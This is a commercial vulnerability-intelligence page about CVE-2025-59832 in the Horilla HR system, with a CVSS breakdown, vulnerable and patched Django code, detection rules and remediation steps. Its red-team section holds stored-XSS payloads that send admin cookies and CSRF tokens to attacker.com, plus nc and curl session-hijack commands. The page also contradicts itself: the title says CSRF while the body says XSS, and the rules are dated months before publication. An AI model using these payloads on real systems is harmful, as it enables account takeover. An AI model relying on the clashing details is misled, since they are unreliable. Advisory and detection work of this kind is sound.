☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]

CVE-2025-59832

CVE-2025-59832 Cross-Site Request Forgery in Horilla
📅 PUBLISHED: 2025-09-25 14:45 UTC 🔄 UPDATED: 2026-10-08 19:48 UTC
[ PATCH UNDER REVIEW ↓ ] Remains UNDER REVIEW until an independent source confirms the fix
[ DEFENSE PATCH ↓ ]
💣 PoC: None
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.41%
👁️
0.41% probability
10.3× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
VULNERABLE: version not auto-detected — verify your deployed version locally
CVSS SEVERITY SCALE
9.0–10.0 CRITICAL
7.0–8.9 HIGH
4.0–6.9 MEDIUM
0.1–3.9 LOW
0.0 NONE
9.9
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2025-59832 is a critical stored Cross-Site Scripting (XSS) vulnerability in Horilla, an open-source Human Resource Management System (HRMS). A low-privilege authenticated user can inject arbitrary JavaScript into the ticket comment editor. When an administrator views the malicious comment, the script executes in the admin's browser, allowing the attacker to exfiltrate session cookies and CSRF tokens, leading to full session hijacking. The vulnerability is patched in version 1.4.0. With a CVSS score of 9.9, this represents a severe threat to confidentiality, integrity, and availability.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

Horilla is a Python/Django-based application distributed via GitHub and potentially PyPI. Organizations using Horilla should verify their version and ensure they are not running an unpatched release. The lack of a signed package or checksum verification in the distribution chain increases the risk of supply chain attacks if the repository is compromised.

CVSS Breakdown & Threat Level

  • CVSS Score: 9.9 (Critical)
  • Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:H
  • Attack Vector: Network
  • Attack Complexity: Low
  • Privileges Required: Low (authenticated user)
  • User Interaction: Required (admin views comment)
  • Scope: Changed (impact on admin's session)
  • Confidentiality Impact: High
  • Integrity Impact: High
  • Availability Impact: High

Threat Level: Critical. The vulnerability allows a low-privilege attacker to gain full administrative control of the HRMS, potentially accessing sensitive employee data, payroll information, and system configurations.

Deep Dive & Mechanics

The vulnerability resides in the ticket comment editor component of Horilla. The application fails to properly sanitize user-supplied input before storing it in the database and rendering it in the admin interface. Specifically, the comment editor does not escape HTML or JavaScript payloads.

Attack Flow:

  1. An authenticated low-privilege user (e.g., employee) navigates to a support ticket.
  2. The user submits a comment containing a malicious JavaScript payload, such as <script>document.location='https://attacker.com/steal?cookie='+document.cookie</script>.
  3. The payload is stored in the database without sanitization.
  4. An administrator views the ticket, and the browser renders the malicious script.
  5. The script executes, sending the admin's session cookie and CSRF token to the attacker's server.
  6. The attacker uses the stolen credentials to hijack the admin's session, gaining full control over the Horilla instance.

Root Cause: Lack of output encoding and input validation in the ticket comment feature. The application likely uses a rich text editor (e.g., TinyMCE, CKEditor) but fails to properly configure it to strip dangerous HTML tags or sanitize input server-side.

Vulnerable vs. Patched Code

Vulnerable Code (Pre-1.4.0):

# views.py (simplified)
def add_comment(request, ticket_id):
    comment_text = request.POST.get('comment')
    # No sanitization
    Comment.objects.create(ticket_id=ticket_id, text=comment_text, user=request.user)
    return redirect('ticket_detail', ticket_id=ticket_id)
<!-- template.html (simplified) -->
<div class="comment">
    {{ comment.text|safe }}  <!-- 'safe' filter disables auto-escaping -->
</div>

Patched Code (1.4.0):

# views.py (simplified)
from django.utils.html import escape

def add_comment(request, ticket_id):
    comment_text = request.POST.get('comment')
    sanitized_text = escape(comment_text)  # HTML escape
    Comment.objects.create(ticket_id=ticket_id, text=sanitized_text, user=request.user)
    return redirect('ticket_detail', ticket_id=ticket_id)
<!-- template.html (simplified) -->
<div class="comment">
    {{ comment.text }}  <!-- No 'safe' filter, auto-escaping enabled -->
</div>

The patch introduces proper HTML escaping using Django's escape() function and removes the |safe filter from the template, ensuring that any HTML tags are rendered as text rather than executed.

Exploitation & Lab Setup

Red Team

Prerequisites:

  • A running Horilla instance (version < 1.4.0)
  • A low-privilege user account (e.g., employee)
  • A listener to capture exfiltrated data (e.g., nc -lvnp 8080)

Exploitation Steps:

  1. Log in as a low-privilege user.
  2. Navigate to a support ticket or create a new one.
  3. In the comment field, inject the following payload:
    <script>
    var img = new Image();
    img.src = 'http://attacker.com/steal?cookie=' + document.cookie;
    </script>
    
  4. Submit the comment.
  5. Wait for an admin to view the ticket.
  6. Capture the cookie on your listener:
    nc -lvnp 8080
    
  7. Use the stolen cookie to hijack the admin session:
    curl -b "sessionid=STOLEN_COOKIE" http://target-horilla/admin/
    

Alternative Payload (CSRF Token Theft):

<script>
var csrf = document.querySelector('[name=csrfmiddlewaretoken]').value;
fetch('http://attacker.com/steal?csrf=' + csrf);
</script>

Blue Team

Detection:

  • Monitor for unusual HTTP requests to external domains from the Horilla server.
  • Look for document.cookie or XMLHttpRequest patterns in web logs.
  • Use the Sigma rule provided in the Detection Engineering section.

Hunting:

  • Search database for comments containing <script> tags or event handlers like onload, onerror.
  • Review web server logs for requests to unknown IPs/domains originating from the Horilla application.

Prevention:

  • Ensure Content Security Policy (CSP) headers are set to block inline scripts.
  • Implement a Web Application Firewall (WAF) with XSS detection rules.
  • Apply the patch immediately by upgrading to Horilla 1.4.0.

Indicators of Compromise (IOCs)

  • Network IOCs:
    • Outbound HTTP requests to attacker-controlled domains from the Horilla server.
    • Suspicious GET requests with cookie or csrf parameters in the query string.
  • File IOCs:
    • Database entries in the comments table containing <script> tags.
  • Log IOCs:
    • Web server logs showing document.cookie in the User-Agent or Referer headers.
    • Repeated access to /admin/ from a single IP with varying session IDs.

Detection Engineering

YARA Rule

rule CVE_2025_59832_Horilla_XSS {
    meta:
        description = "Detects stored XSS payloads in Horilla comments"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-59832"
    strings:
        $xss1 = "<script>" nocase
        $xss2 = "onload=" nocase
        $xss3 = "onerror=" nocase
        $xss4 = "javascript:" nocase
        $xss5 = "document.cookie" nocase
    condition:
        any of them
}

Sigma Rule

title: Stored XSS in Horilla Ticket Comments
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects stored XSS attempts in Horilla HRMS ticket comments
author: Valters IT
date: 2025/04/10
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2025-59832
logsource:
    category: webserver
    product: apache
    service: http
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains: '/ticket/'
        cs-uri-query|contains: 'comment'
        sc-status: 302
    keywords:
        - '<script>'
        - 'onload='
        - 'onerror='
        - 'javascript:'
        - 'document.cookie'
    condition: selection and keywords
falsepositives:
    - Legitimate use of JavaScript in comments (unlikely)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-59832 Horilla Stored XSS Exfiltration"; flow:to_server,established; content:"GET"; http_method; content:"/steal?"; http_uri; content:"cookie="; http_uri; classtype:attempted-recon; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

  1. Upgrade Horilla to version 1.4.0 or later.
  2. If immediate upgrade is not possible, manually apply the patch by:
    • Adding from django.utils.html import escape to the relevant view.
    • Wrapping comment_text with escape() before saving.
    • Removing the |safe filter from the template.
  3. Invalidate all existing sessions to force re-authentication.

Long-term Measures:

  • Implement a Content Security Policy (CSP) that blocks inline scripts.
  • Use a WAF with XSS detection capabilities.
  • Conduct regular security audits and penetration testing.
  • Enforce input validation and output encoding for all user-supplied data.
  • Monitor for similar vulnerabilities in other components of the application.

Valters IT
Securing Digital Frontiers

◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2025-59832/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.